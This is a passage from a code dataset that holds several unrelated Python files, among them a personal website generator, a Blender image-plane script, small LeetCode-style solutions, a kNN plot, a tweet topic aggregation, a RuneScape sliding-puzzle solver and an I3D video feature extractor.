__import__(modulepath)\n path = []\n for token in modulepath.split(\".\")[1:]:\n path.append(token)\n mod = getattr(mod, token)\n return mod\n","sub_path":"cubes/extensions.py","file_name":"extensions.py","file_ext":"py","file_size_in_byte":5559,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"627772817","text":"# Copyright (C) 2011 by Ondrej Martinak \n# \n# Permission is hereby granted, free of charge, to any person obtaining a copy\n# of this software and associated documentation files (the \"Software\"), to deal\n# in the Software without restriction, including without limitation the rights\n# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n# copies of the Software, and to permit persons to whom the Software is\n# furnished to do so, subject to the following conditions:\n# \n# The above copyright notice and this permission notice shall be included in\n# all copies or substantial portions of the Software.\n# \n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n# THE SOFTWARE.\n\nimport markup\nfrom project import Project\n\nclass Renderer:\n\n\tdef __init__(self, _title, _css):\n\t\tself.title = _title\n\t\tself.css = _css\n\n\t\tself.page = markup.page()\n\n\t\tself.projects = []\n\n\t\tproj = Project(self.page, \"daffodil\")\n\t\tproj.setDescription(\"This little app will proceduraly generate a city. Future improvements should feature some interesting rendering techniques.\")\n\t\tproj.setDate(\"2011\")\n\t\tproj.setTech(\"python, Panda3D\")\n\t\tproj.setStatus(\"in progress\")\n\t\tproj.setSources({\"git\": \"https://github.com/omartinak/daffodil\"})\n\t\tself.projects.append(proj)\n\n\t\tproj = Project(self.page, \"pgpPainter\")\n\t\tproj.setDescription(\"This project presents a technique that renders a 3D object so it looks like a sketch. This sketch tries to emulate the sketch a human painter would draw, which means it has pronounced contours and a lighter shading is used along the contours rather than natural lighting. The technique works pretty well for static scenes but it is not very usable for the moving ones.\")\n\t\tproj.setDate(\"2009\")\n\t\tproj.setTech(\"C++, OpenSceneGraph, GLSL\")\n\t\tproj.setStatus(\"finished\")\n\t\tproj.setSources({\"zip\": \"pgpPainter_src.zip\"})\n\t\tproj.setExecutable({\"elf64\": \"pgpPainter_bin.zip\"})\n\t\tself.projects.append(proj)\n\n\t\tproj = Project(self.page, \"evo3D\")\n\t\tproj.setDescription(\"This application uses evolution algorithm to create spatial objects constructed from simple elements. User can control the evolution by evaluating the quality of certain candidates from the population while he can watch the population evolve in front of him. The evolved parameters are the object's growth and its change in color.\")\n\t\tproj.setDate(\"2009\")\n\t\tproj.setTech(\"java, Qt, OpenGL, genetic algorithms\")\n\t\tproj.setStatus(\"finished\")\n\t\tproj.setSources({\"zip\": \"evo3D_src.zip\"})\n\t\tproj.setExecutable({\"jar\": \"evo3D_bin.zip\"})\n\t\tself.projects.append(proj)\n\n\t\tproj = Project(self.page, \"g-wars\")\n\t\tproj.setDescription(\"g-wars was supposed to be another clone of a well known geometry wars game. It features a simple vector graphics that is post processed with a Cg shader to make it look a little bit fuzzy. It also features a 2D physics engine to make the objects' behaviour more realistic. The game was written with client-server architecture in mind but it was never finished.\")\n\t\tproj.setDate(\"2008\")\n\t\tproj.setTech(\"C++, SDL, OpenGL, nvidia Cg, Box2D\")\n\t\tproj.setStatus(\"unfinished\")\n\t\tproj.setSources({\"zip\": \"g-wars_src.zip\"})\n\t\tproj.setExecutable({\"elf64\": \"g-wars_bin.zip\"})\n\t\tself.projects.append(proj)\n\n\t\tproj = Project(self.page, \"Bankshot\")\n\t\tproj.setDescription(\"My first finished game as an amateur game developer working for SleepTeam Labs. I wrote the code, they supplied the rest. It is a pong variation with four players, either human or computer. Players are losing score whenever they don't catch the ball. To make the game more interesting players can shoot down various bonuses hanging in the center.\")\n\t\tproj.setDate(\"2004\")\n\t\tproj.setTech(\"C++, DirectX\")\n\t\tproj.setStatus(\"finished\")\n\t\tproj.setExecutable({\"link\": \"http://www.iwannaplay.com/?GameID=18\"})\n\t\tself.projects.append(proj)\n\n\t\tproj = Project(self.page, \"Ragnarok\")\n\t\tproj.setDescription(\"A would be clone of Baldur's Gate II with a flavour of Fallout :) with custom rules created by my friend. Although it was never finished it contains functional combat, inventory, character development and a fog of war. Conversation and trading systems were under development. I have also created a set of tools for preparing maps, creating inventory items and to help with animating sprites.\")\n\t\tproj.setDate(\"2002\")\n\t\tproj.setTech(\"C++, DirectX\")\n\t\tproj.setStatus(\"unfinished\")\n\t\tproj.setSources({\"zip\": \"ragnarok_src.zip\"})\n\t\tproj.setExecutable({\"win32\": \"ragnarok_bin.zip\"})\n\t\tself.projects.append(proj)\n\n\tdef header(self, text):\n\t\tself.page.div(class_ = 'header')\n\n\t\tself.page.h1(text, style = 'display: inline')\n\n\t\tself.page.span(class_ = 'small')\n\t\tself.page.a('me@bubaak.co.cc', href = \"mailto:me%40bubaak.co.cc\", class_ = 'contact')\n\t\tself.page.span.close()\n\n\t\tself.page.div.close()\n\n\tdef body(self):\n\t\tfor proj in self.projects:\n\t\t\tproj.render()\n\n\tdef render(self):\n\t\tself.page.add('')\n\t\tself.page.html(xmlns = \"http://www.w3.org/1999/xhtml\", lang = \"en\")\n\t\tself.page.head()\n\t\tself.page.meta(http_equiv = \"Content-Type\", content=\"text/html; charset=utf-8\")\n\t\tself.page.css(self.css)\n\t\tself.page.title(self.title)\n\t\tself.page.head.close()\n\t\tself.page.body()\n\n\t\tself.page.div(class_ = 'mainContent')\n\n\t\tself.header(\"Ondrej Martinak's web\")\n\t\tself.body()\n\n\t\tself.page.div(class_ = 'glider')\n\t\tself.page.a(class_ = 'anchorImg', href = \"http://www.catb.org/hacker-emblem/\")\n\t\tself.page.img(style = 'border: none', src = \"data/img/glider.png\", alt = \"hacker emblem\")\n\t\tself.page.a.close()\n\t\tself.page.div.close()\n\n\t\tself.page.div.close()\n\n\t\tself.page.body.close()\n\t\tself.page.html.close()\n\n\t\tprint(self.page)\n\n","sub_path":"generator/renderer.py","file_name":"renderer.py","file_ext":"py","file_size_in_byte":6125,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"411819885","text":"import bpy\nimport os\n\n\ndef ls(cdir): # return directory contents of cdir\n ls = os.listdir(cdir)\n return ls\n\n\nsc = bpy.data.scenes[0] # get current scene\nimgdir = \"C:\\\\images\"\nimg_ext = 'jpg'\n\nfiles = [] # list for files\nimages = [] # list for imgage files\nfiles = (ls(imgdir)) # read file list into list\nfile_count = len(files) # file count\n\nfor a in range(0, file_count): # for each file:\n if files[a].endswith(img_ext): # does it end with?\n images.append(files[a]) # if so then add to images list\n\nimage_count = len(images) # count of images\nprint(file_count)\nprint(image_count)\n\nfor a in range(0, image_count): # for each image\n print(\"========================\")\n print('loop count: ' + str(a))\n bpy.ops.mesh.primitive_plane_add()\n plane = bpy.context.scene.objects.active\n\n mat = bpy.data.materials.new('mat' + str(a))\n bpy.context.object.data.materials.append(mat)\n\n tex = bpy.data.textures.new('ColorTex', type='IMAGE')\n imgpath = imgdir + '\\\\' + images[a] # make string with path ti image\n img = bpy.data.images.load(imgpath) # load image\n tex.image = img\n mtex = mat.texture_slots.add()\n mtex.texture = tex\n\n imgX = img.size[0] / 1000.0 # calculate dimensions\n imgY = img.size[1] / 1000.0\n\n plane.scale[0] = (imgX) # set x plane dimensions to match image\n plane.scale[1] = (imgY) # set y plane dimensions to match image\n","sub_path":"learning data/uv_maker.py","file_name":"uv_maker.py","file_ext":"py","file_size_in_byte":1408,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"279218906","text":"n = int(input(\"Type a number between 1 and 100 inclusive: \"))\nif 1 <= n <= 100:\n print(\"Well done!\" + \" The number \" + str(n) + \" satisfies the condition.\")\nelse:\n while (1 <= n <= 100) != True:\n print(\"Error!\")\n n = int(input(\"Type a number between 1 and 100: \"))\n else:\n print (\"Thank goodness! I was running out of memory here!\")\n \n \n","sub_path":"Practise/num.py","file_name":"num.py","file_ext":"py","file_size_in_byte":379,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"156869556","text":"\n# coding: utf-8\n\n# In[38]:\n\n\nimport pandas as pd\nimport numpy as np\nimport pickle\nimport nltk\n\nfrom datetime import datetime\n\nfrom nltk.tokenize import word_tokenize\nfrom nltk.corpus import stopwords\nfrom nltk.stem import SnowballStemmer\n\n# sklearn\nfrom sklearn.feature_extraction.text import TfidfVectorizer\nfrom sklearn.decomposition import NMF\n\n\n# In[39]:\n\n\ndef custom_tokenizer(text):\n full_punc = '’‘“”.–…�🇺🇸★➠' + string.punctuation\n # remove punctuation\n remove_punct = str.maketrans('', '', full_punc)\n text = text.translate(remove_punct)\n\n # remove digits and convert to lower case\n remove_digits = str.maketrans('', '', string.digits)\n text = text.lower().translate(remove_digits)\n\n # tokenize\n tokens = word_tokenize(text)\n\n # remove stop words\n punc = [str(i) for i in string.punctuation]\n cust_stop_words = (['rt', 'retweet', 'get', 'one', 'im', 'thing', 'get', 'dont', 'wow',\n 'lol', 'amp', 'n', 'didnt', 'people', 'like', 'want', 'know', 'go',\n 'think', 'need', 'right', 'good', 'would', 'going', 'never', 'see',\n 'time', 'call', 'said', 'got', 'us', 'p', 'look', 'mr'])\n stop_words = cust_stop_words + stopwords.words('english')\n tokens_stop = [y for y in tokens if y not in stop_words]\n\n # stem\n# stemmer = SnowballStemmer('english')\n# tokens_stem = [stemmer.stem(y) for y in tokens_stop] \n\n return tokens_stop\n\n\n# In[40]:\n\n\nwith open(\"rtrolls_df.pkl\", 'rb') as picklefile:\n df_rtrolls = pickle.load(picklefile) \n \nimport json\nwith open('topics2words.json', 'r') as fp:\n topic_dict = json.load(fp)\n\n\n# In[41]:\n\n\ndf_rtrolls.head()\n\n\n# In[42]:\n\n\n#group by week\ntemp_df = df_rtrolls.groupby([\"week\", \"topicnumber\"]).count().reset_index()\n# temp_df\n\ntopic_weeks_df = temp_df[['week', 'topicnumber', 'content']]\n# topic_weeks_df\n\n\n# In[43]:\n\n\ntemp_df = topic_weeks_df[((topic_weeks_df['topicnumber'] == 0) |\n (topic_weeks_df['topicnumber'] == 15) |\n (topic_weeks_df['topicnumber'] == 2) | \n (topic_weeks_df['topicnumber'] == 4) |\n (topic_weeks_df['topicnumber'] == 19) |\n (topic_weeks_df['topicnumber'] == 11) | \n (topic_weeks_df['topicnumber'] == 16) | \n (topic_weeks_df['topicnumber'] == 7) |\n (topic_weeks_df['topicnumber'] == 5) | \n (topic_weeks_df['topicnumber'] == 13))]\n\n\n# In[44]:\n\n\ndata_fillna = temp_df.pivot_table('content', 'week', 'topicnumber').fillna(0).unstack().reset_index()\n\n\n# In[45]:\n\n\ndata_fillna.head()\n\n\n# In[46]:\n\n\n#we lose the count label column in the previous steps, so we're just renaming it here, and reordering columns based on \n#how they are arranged in the viz csv\ndata_fillna.columns = [\"topicnumber\", \"week\", \"content\"]\ndata_fillna = data_fillna[[\"week\", \"topicnumber\", \"content\"]]\ndata_fillna.head()\n\n\n# In[47]:\n\n\ndata_fillna.sort_values('week', inplace=True)\n\n\n# In[48]:\n\n\n#backup file\ndata_fillna.to_csv(\"topicsbyweek.csv\", index = False)\n\n","sub_path":"nlp_russian_tweets/AWS Code/topic_dates.py","file_name":"topic_dates.py","file_ext":"py","file_size_in_byte":3043,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"498218633","text":"from collections import Counter\nclass Solution:\n def intersect(self, nums1: List[int], nums2: List[int]) -> List[int]:\n counter_1 = Counter(nums1)\n counter_2 = Counter(nums2)\n \n intersection = []\n for element in counter_1:\n if element in counter_2:\n intersection+=[element]*min(counter_1[element],counter_2[element])\n \n return intersection\n","sub_path":"programcreek/top-10-algorithms/intersection-of-two-arrays-ii.py","file_name":"intersection-of-two-arrays-ii.py","file_ext":"py","file_size_in_byte":426,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"62577042","text":"import sys\nimport kNN\nfrom pylab import *\nfrom numpy import *\nimport numpy as np\nimport matplotlib\nfrom mpl_toolkits.mplot3d import Axes3D\nimport matplotlib.pyplot as plt\nmat,lab = kNN.file2matrix('datingTestSet2.txt')\nnormMat, ranges, minVals = kNN.autoNorm(mat)\n\ndef randrange(n, vmin, vmax):\n return (vmax - vmin)*np.random.rand(n) + vmin\n\nfig = plt.figure()\nax = fig.add_subplot(111,projection='3d')\n#ax.scatter(normMat[:,0], normMat[:,1], normMat[:,2], 'o', 'c')\nn = 1\nfor c, m, zl, zh in [('r', 'o', -50, -25), ('b', '^', -30, -5)]:\n xs = randrange(n, 23, 32)\n ys = randrange(n, 0, 100)\n zs = randrange(n, zl, zh)\n\nClassSet=lab\ncolorSet = []\nfor label in ClassSet:\n\tif label is '1':\n\t\tcolorSet.append('r')\n\telif label is '2':\n\t\tcolorSet.append('b')\n\telif label is '3':\n\t\tcolorSet.append('y')\n\telse:\n\t\tcolorSet.append('r')\nprint(colorSet)\n\nx=normMat[:,0]\ny=normMat[:,1]\nz=normMat[:,2]\ni=0\nfor lx in x:\n\tly = y[i]\n\tlz = z[i]\n\tlc = colorSet[i]\n\ti=i+1\n\tprint(lx,ly,lz,lc)\n\tax.scatter(lx, ly, lz, c=lc, marker='o')\n#ax.scatter(normMat[:,0], normMat[:,1], normMat[:,2], colorSet, marker='o')\n\nax.set_xlabel('X')\nax.set_ylabel('Y')\nax.set_zlabel('Z')\nplt.show()\n","sub_path":"machinelearninginaction/Ch02/tu3.py","file_name":"tu3.py","file_ext":"py","file_size_in_byte":1173,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"85151917","text":"l=['ee','ii','oo','aa','uu','yy']\r\nn=int(input())\r\ndef co(h):\r\n cc=0\r\n for i in l:\r\n cc+=h.count(i)\r\n return cc\r\nd={}\r\nwhile(n!=0):\r\n for i in range(n):\r\n b=input()\r\n d[b]=co(b)\r\n kk=list(d.values())\r\n ll=list(d.keys())\r\n print(ll[kk.index(max(kk))])\r\n d={}\r\n n=int(input())\r\n","sub_path":"beekeeper.py","file_name":"beekeeper.py","file_ext":"py","file_size_in_byte":324,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"539470332","text":"class Solution:\n def isPalindrome(self, x: int) -> bool:\n x1 = str(x)\n x2 = \"\"\n for i in range(len(x1)-1,-1,-1):\n x2 = x2+x1[i]\n if x1 == x2:\n return True\n return False\n ","sub_path":"LeetCode/9.Palindrome-Number.py","file_name":"9.Palindrome-Number.py","file_ext":"py","file_size_in_byte":237,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"619883470","text":"from cv2 import (matchTemplate, cvtColor, Canny, minMaxLoc, TM_CCORR_NORMED, COLOR_BGR2GRAY, resize, imshow, waitKey)\nfrom numpy import (linspace, median)\nfrom threading import Thread\nimport npuzzlesolver as npuzzle\nimport templates\nimport main as puzzle\n\n\nclass PuzzleBox:\n def __init__(self, runescapeimage):\n self.PUZZLE_DIM = {'width': 210, 'height': 208} # Default dimensions of the Runescape puzzle box\n self.runescapeimage = runescapeimage\n (self.puzzleimage, self.puzzlerect) = (None, None)\n th = Thread(target=self.findpuzzlebox)\n th.daemon = True\n th.start()\n self.scalex = None\n self.scaley = None\n\n def setscales(self):\n self.scalex = self.puzzlerect['width'] / self.PUZZLE_DIM['width']\n self.scaley = self.puzzlerect['height'] / self.PUZZLE_DIM['height'] # Scaled dimensions\n\n def findpuzzlebox(self):\n found = self.findedgetemplate(self.runescapeimage, templates.PUZZLE_BOX_TEMPLATE)\n (_, unscaledlocation, scale) = found\n (puzzle_posx, puzzle_posy) = ((unscaledlocation[0] * scale), (unscaledlocation[1] * scale))\n (puzzle_endx, puzzle_endy) = (((unscaledlocation[0] + self.PUZZLE_DIM['width']) * scale),\n ((unscaledlocation[1] + self.PUZZLE_DIM['height']) * scale)) # Scaled position\n\n rect = {'posx': puzzle_posx, 'posy': puzzle_posy,\n 'width': puzzle_endx - puzzle_posx, 'height': puzzle_endy - puzzle_posy}\n maskedimage = self.maskimage(self.runescapeimage, rect) # black out part of screenshot we don't need\n self.puzzleimage = maskedimage\n self.puzzlerect = rect\n self.setscales()\n puzzle.PuzzleThread.puzzlebox_ready = True\n\n def findedgetemplate(self, image, template):\n found = None\n gray = cvtColor(image, COLOR_BGR2GRAY)\n template = self.auto_canny(template)\n (template_height, template_width) = template.shape[:2]\n # loop over the scales of the image\n for scale in linspace(0.2, 1.0, 100)[::-1]:\n # resize the image according to the scale, and keep track\n # of the ratio of the resizing\n resized = resize(gray, (0, 0), fx=scale, fy=scale)\n r = gray.shape[1] / float(resized.shape[1])\n\n # if the resized image is smaller than the template, then break\n # from the loop\n if resized.shape[0] < template_height or resized.shape[1] < template_width:\n break\n edged = self.auto_canny(resized)\n result = matchTemplate(edged, template, TM_CCORR_NORMED)\n (_, maxval, _, maxloc) = minMaxLoc(result)\n\n # if we have found a new maximum correlation value, then update\n # the bookkeeping variable\n if found is None or maxval > found[0]:\n found = (maxval, maxloc, r)\n if maxval > 0.6:\n break\n\n return found\n\n @staticmethod\n def maskimage(unmasked, puzzlerect):\n mask = unmasked[puzzlerect['posy']:puzzlerect['posy'] + puzzlerect['height'],\n puzzlerect['posx']:puzzlerect['posx'] + puzzlerect['width']]\n return mask\n\n @staticmethod\n def auto_canny(image, sigma=0.33):\n # compute the median of the single channel pixel intensities\n v = median(image)\n\n # apply automatic Canny edge detection using the computed median\n lower = int(max(0, (1.0 - sigma) * v))\n upper = int(min(255, (1.0 + sigma) * v))\n edged = Canny(image, lower, upper)\n\n # return the edged image\n return edged\n\n\nclass PuzzleTiles:\n def __init__(self, puzzlebox):\n self.TILE_ATTRS = {'FIRST_POSX': 16, 'FIRST_POSY': 14, 'TILE_WIDTH': 29, 'TILE_HEIGHT': 29,\n 'TILE_GAP': 8} # Default positional values of tiles\n self.first_posx_scaled = self.TILE_ATTRS['FIRST_POSX'] * puzzlebox.scalex\n self.first_posy_scaled = self.TILE_ATTRS['FIRST_POSY'] * puzzlebox.scaley\n self.tile_width_scaled = self.TILE_ATTRS['TILE_WIDTH'] * puzzlebox.scalex\n self.tile_height_scaled = self.TILE_ATTRS['TILE_HEIGHT'] * puzzlebox.scaley\n self.tile_gaphorz_scaled = self.TILE_ATTRS['TILE_GAP'] * puzzlebox.scalex\n self.tile_gapvert_scaled = self.TILE_ATTRS['TILE_GAP'] * puzzlebox.scaley\n self.movecount = 0\n self.moves = []\n self.tileresults = []\n\n self.puzzlebox = puzzlebox\n self.tilepositions = self.gettilepositions()\n self.template_images = templates.PUZZLE_PIECES[puzzle.overlay.selectedPuzzle]\n\n def gettilepositions(self):\n positions = []\n for y in range(0, 5):\n pointy = self.first_posy_scaled + (self.tile_height_scaled * y) + (y * self.tile_gapvert_scaled)\n for x in range(0, 5):\n pointx = self.first_posx_scaled + (self.tile_width_scaled * x) + (x * self.tile_gaphorz_scaled)\n positions.append([pointx, pointy])\n return positions\n\n def gettileimages(self, puzzlebox):\n tileimages = []\n for position in self.tilepositions:\n tileimage = puzzlebox.puzzleimage[position[1]:position[1] + self.tile_width_scaled,\n position[0]:position[0] + self.tile_height_scaled]\n tileimages.append(tileimage)\n return tileimages\n\n @staticmethod\n def get_key(item):\n return item[0]\n\n def match_tiles(self):\n results = [-1 for _ in range(25)]\n likeliness = [-1 for _ in range(25)]\n correlation_values = [[] for _ in range(25)]\n tile_images = self.gettileimages(self.puzzlebox)\n for x, tile in enumerate(tile_images):\n for i, template_tile in enumerate(self.template_images):\n resized_template = resize(template_tile, (tile.shape[1], tile.shape[0]))\n result = matchTemplate(tile, resized_template, TM_CCORR_NORMED)\n (_, maxval, _, maxloc) = minMaxLoc(result)\n correlation_values[x].append([maxval, i])\n correlation_values[x].sort(key=self.get_key, reverse=True)\n results[x] = correlation_values[x][0][1]\n likeliness[x] = correlation_values[x][0][0]\n return results, likeliness, correlation_values\n\n def findzerotile(self):\n correlation_values = []\n tile_images = self.gettileimages(self.puzzlebox)\n for x, tile in enumerate(tile_images):\n resized_template = resize(self.template_images[0], (tile.shape[1], tile.shape[0]))\n result = matchTemplate(tile, resized_template, TM_CCORR_NORMED)\n (_, maxval, _, maxloc) = minMaxLoc(result)\n correlation_values.append([maxval, x])\n correlation_values.sort(key=self.get_key, reverse=True)\n return correlation_values[0][1]\n\n @staticmethod\n def rematch_tiles(shiftcorr, shiftamounts, correlation_values):\n results = [-1 for _ in range(25)]\n likeliness = [-1 for _ in range(25)]\n for item in shiftcorr:\n results[item[0]] = correlation_values[item[0]][shiftamounts[item[0]]][1]\n likeliness[item[0]] = correlation_values[item[0]][shiftamounts[item[0]]][0]\n return results, likeliness\n\n @staticmethod\n def find_rechecks(checkarray, correlation_values):\n duplicates = [[i, item] for i, item in enumerate(checkarray) if checkarray.count(item) > 1]\n for x, item in enumerate(duplicates):\n bettermatch = item\n for y, secitem in enumerate(duplicates):\n if item == secitem:\n if correlation_values[y] > correlation_values[x]:\n bettermatch = secitem\n duplicates.remove(bettermatch)\n return duplicates\n\n def gettileresults(self):\n recheck_count = [0 for _ in range(25)]\n results, likeliness, correlation_values = self.match_tiles()\n rechecks = self.find_rechecks(results, likeliness)\n loopcount = 0\n while len(rechecks) > 0:\n loopcount += 1\n if loopcount >= 400: # never going to solve\n break\n for item in rechecks:\n recheck_count[item[0]] += 1\n if recheck_count[item[0]] >= 25:\n recheck_count[item[0]] = 0\n\n newresults, newlikeliness = self.rematch_tiles(rechecks, recheck_count, correlation_values)\n for x, item in enumerate(newresults):\n if item is not -1:\n results[x] = newresults[x]\n likeliness[x] = likeliness[x]\n rechecks = self.find_rechecks(results, likeliness)\n return results\n\n def createmovelist(self):\n t = self.gettileresults()\n self.moves, self.tileresults = npuzzle.main(t)\n self.movecount = len(self.moves)\n\n def getmovelocation(self, steps):\n if len(self.moves) == 0:\n self.createmovelist()\n self.updatemoves()\n tilepositions = []\n for step in steps:\n if self.movecount >= step + 1:\n x = self.tileresults.index(self.moves[step]) % 5\n y = int((self.tileresults.index(self.moves[step]) / 5))\n tilepos = [self.first_posx_scaled + (self.tile_width_scaled * x) + (x * self.tile_gaphorz_scaled) +\n self.puzzlebox.puzzlerect['posx'],\n self.first_posy_scaled + (self.tile_height_scaled * y) + (y * self.tile_gapvert_scaled) +\n self.puzzlebox.puzzlerect['posy']-6]\n tilepositions.append(tilepos)\n else:\n tilepositions.append(None)\n return tilepositions\n\n def updatemoves(self):\n zerotile = self.findzerotile()\n if self.tileresults.index(0) is not zerotile:\n if zerotile in self.getadjacent(self.tileresults.index(0)):\n self.tileresults[self.tileresults.index(0)] = self.tileresults[zerotile]\n self.tileresults[zerotile] = 0\n t = self.tileresults\n self.moves, self.tileresults = npuzzle.main(t)\n self.movecount = len(self.moves)\n\n @staticmethod\n def getadjacent(index):\n if index >= 5: # up\n yield index - 5\n if index % 5 > 0: # right\n yield index - 1\n if index % 5 is not 4: # left\n yield index + 1\n if index < 20: # down\n yield index + 5\n yield index\n","sub_path":"puzzle.py","file_name":"puzzle.py","file_ext":"py","file_size_in_byte":10556,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"223687265","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[1]:\n\n\nimport tensorflow as tf\nimport sonnet as snt\n\nfrom PIL import Image, ImageOps\nimport cv2\n\nimport numpy as np\n\nimport os\n\nimport i3d\n\nimport sys\n\ninp1 = sys.argv[1]\ninp2 = sys.argv[2]\n\n# In[2]:\n\n\n# Proprecessing for image(scale and crop)\ndef reshape_img_pil(img):\n width, height = np.array(img).shape[0:2]\n min_ = min(height, width)\n ratio = float(256/float(min_))\n new_w = int(ratio*width)\n new_h = int(ratio*height)\n \n img_resize = np.array(img.resize((new_w, new_h), resample=Image.BILINEAR))\n img_scale = (img_resize/255.0)*2-1\n new_img = img_scale[int((new_h-224)/2):int((new_h+224)/2),int((new_w-224)/2):int((new_w+224)/2),:]\n \n return new_img\n\ndef reshape_cv2(img, type):\n width, height = img.shape[0:2]\n min_ = min(height, width)\n ratio = float(256/float(min_))\n new_w = int(ratio*width)\n new_h = int(ratio*height)\n# print(width, height, new_w, new_h)\n# print((new_h-224)/2, (new_h+224)/2, (new_w-224)/2, (new_w+224)/2)\n if type=='rgb':\n frame = cv2.cvtColor(img, cv2.COLOR_BGR2RGB)\n else:\n frame = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n frame = cv2.resize(frame, (new_w,new_h), interpolation=cv2.INTER_LINEAR)\n frame = (frame/255.0)*2-1\n frame = frame[int((new_h-224)/2):int((new_h+224)/2),int((new_w-224)/2):int((new_w+224)/2)]\n \n return frame\n\n\n# In[3]:\n\n\ndef get_batch(idx, step, video_path, video_name, type):\n raw_images = []\n for i in range(step):\n if type == 'rgb':\n image_name = 'img_%05d.jpg'%(idx+1+i)\n if os.path.exists(os.path.join(video_path, image_name)):\n img = cv2.imread(os.path.join(video_path, image_name))\n img = reshape_cv2(img, type='rgb')\n raw_images.append(img)\n elif type == 'flow':\n flow_x_name = 'flow_x_%05d.jpg'%(idx+1+i)\n flow_y_name = 'flow_y_%05d.jpg'%(idx+1+i)\n if os.path.exists(os.path.join(video_path, flow_x_name)):\n flow_x_img = cv2.imread(os.path.join(video_path, flow_x_name))\n flow_y_img = cv2.imread(os.path.join(video_path, flow_y_name))\n \n flow_x_img = reshape_cv2(flow_x_img, type='flow')\n flow_y_img = reshape_cv2(flow_y_img, type='flow')\n \n# print(flow_x_img.shape, flow_y_img.shape)\n# flow = np.stack((flow_x_img, flow_y_img))\n# print(flow.shape)\n flow = np.stack((flow_x_img, flow_y_img)).reshape(224,224,2)\n\n raw_images.append(flow)\n \n return np.array(raw_images)\n\n\n# In[13]:\n\n\nimage_size = 224\nnum_class = 20\n\nsample_path = {\n 'rgb': 'data/v_CricketShot_g04_c01_rgb.npy',\n 'flow': 'data/v_CricketShot_g04_c01_flow.npy',\n}\n\ncheckpoints = {\n 'rgb_scratch': 'data/checkpoints/rgb_scratch/model.ckpt',\n 'flow_scratch': 'data/checkpoints/flow_scratch/model.ckpt',\n 'rgb_imagenet': 'data/checkpoints/rgb_imagenet/model.ckpt',\n 'flow_imagenet': 'data/checkpoints/flow_imagenet/model.ckpt',\n}\n\nraw_path = {\n 'val': '/data/th14_raw/val_optical_flow_rgb',\n 'test': '/data/th14_raw/test_optical_flow_rgb',\n}\n\nsave_paths = {\n 'val_imagenet': '/data/th14_feature_i3d/feat_and_var/feat_imagenet/val_feat',\n 'test_imagenet': '/data/th14_feature_i3d/feat_and_var/feat_imagenet/test_feat',\n 'val_scratch': '/data/th14_feature_i3d/feat_and_var/feat_scratch/val_feat',\n 'test_scratch': '/data/th14_feature_i3d/feat_and_var/feat_scratch/test_feat',\n}\n\n\n# In[4]:\n\n\nrgb_input = tf.placeholder(tf.float32, shape=(1,None,image_size,image_size,3))\nflow_input = tf.placeholder(tf.float32, shape=(1,None,image_size,image_size,2))\nwith tf.variable_scope('RGB'):\n rgb_model = i3d.InceptionI3d(num_class+1, spatial_squeeze=True, final_endpoint='Mixed_5c')\n rgb_mixed5c, _ = rgb_model(rgb_input, is_training=False, dropout_keep_prob=1.0)\n# rgb_feat = tf.nn.avg_pool3d(rgb_mixed5c, ksize=[1, 2, 7, 7, 1],\n# strides=[1, 1, 1, 1, 1], padding=snt.VALID)\n rgb_feat = rgb_mixed5c\n\nrgb_variable_map = {}\nfor variable in tf.global_variables():\n if variable.name.split('/')[0] == 'RGB':\n rgb_variable_map[variable.name.replace(':0', '')] = variable\nrgb_saver = tf.train.Saver(var_list=rgb_variable_map, reshape=True)\n \nwith tf.variable_scope('Flow'):\n flow_model = i3d.InceptionI3d(num_class+1,spatial_squeeze=True, final_endpoint='Mixed_5c')\n flow_mixed5c, _ = flow_model(flow_input, is_training=False, dropout_keep_prob=1.0)\n# flow_feat = tf.nn.avg_pool3d(flow_mixed5c, ksize=[1, 2, 7, 7, 1],\n# strides=[1, 1, 1, 1, 1], padding=snt.VALID)\n flow_feat = flow_mixed5c\n \nflow_variable_map = {}\nfor variable in tf.global_variables():\n if variable.name.split('/')[0] == 'Flow':\n flow_variable_map[variable.name.replace(':0', '')] = variable\nflow_saver = tf.train.Saver(var_list=flow_variable_map, reshape=True)\n\n\n# In[9]:\n\n\ndef get_mean_var(feat):\n feat = np.reshape(feat, (-1, 1024))\n mean = np.mean(feat, axis=0)\n var = np.var(feat, axis=0)\n feat_all = np.hstack((mean, var))\n return feat_all\n\n\n# In[18]:\n\n\ndef extract_feat(feat_extractor='imagenet', data_source='test'):\n gpu_options = tf.GPUOptions(per_process_gpu_memory_fraction=0.2) # 30% memory of TITAN is enough\n# self.sess = tf.Session(config = tf.ConfigProto(gpu_options=gpu_options)) \n with tf.Session(config = tf.ConfigProto(gpu_options=gpu_options)) as sess:\n feed_dict = {}\n \n rgb_feat_type = 'rgb' + '_' + feat_extractor\n flow_feat_type = 'flow' + '_' + feat_extractor\n \n rgb_saver.restore(sess, checkpoints[rgb_feat_type])\n flow_saver.restore(sess, checkpoints[flow_feat_type])\n# rgb_saver.restore(sess, 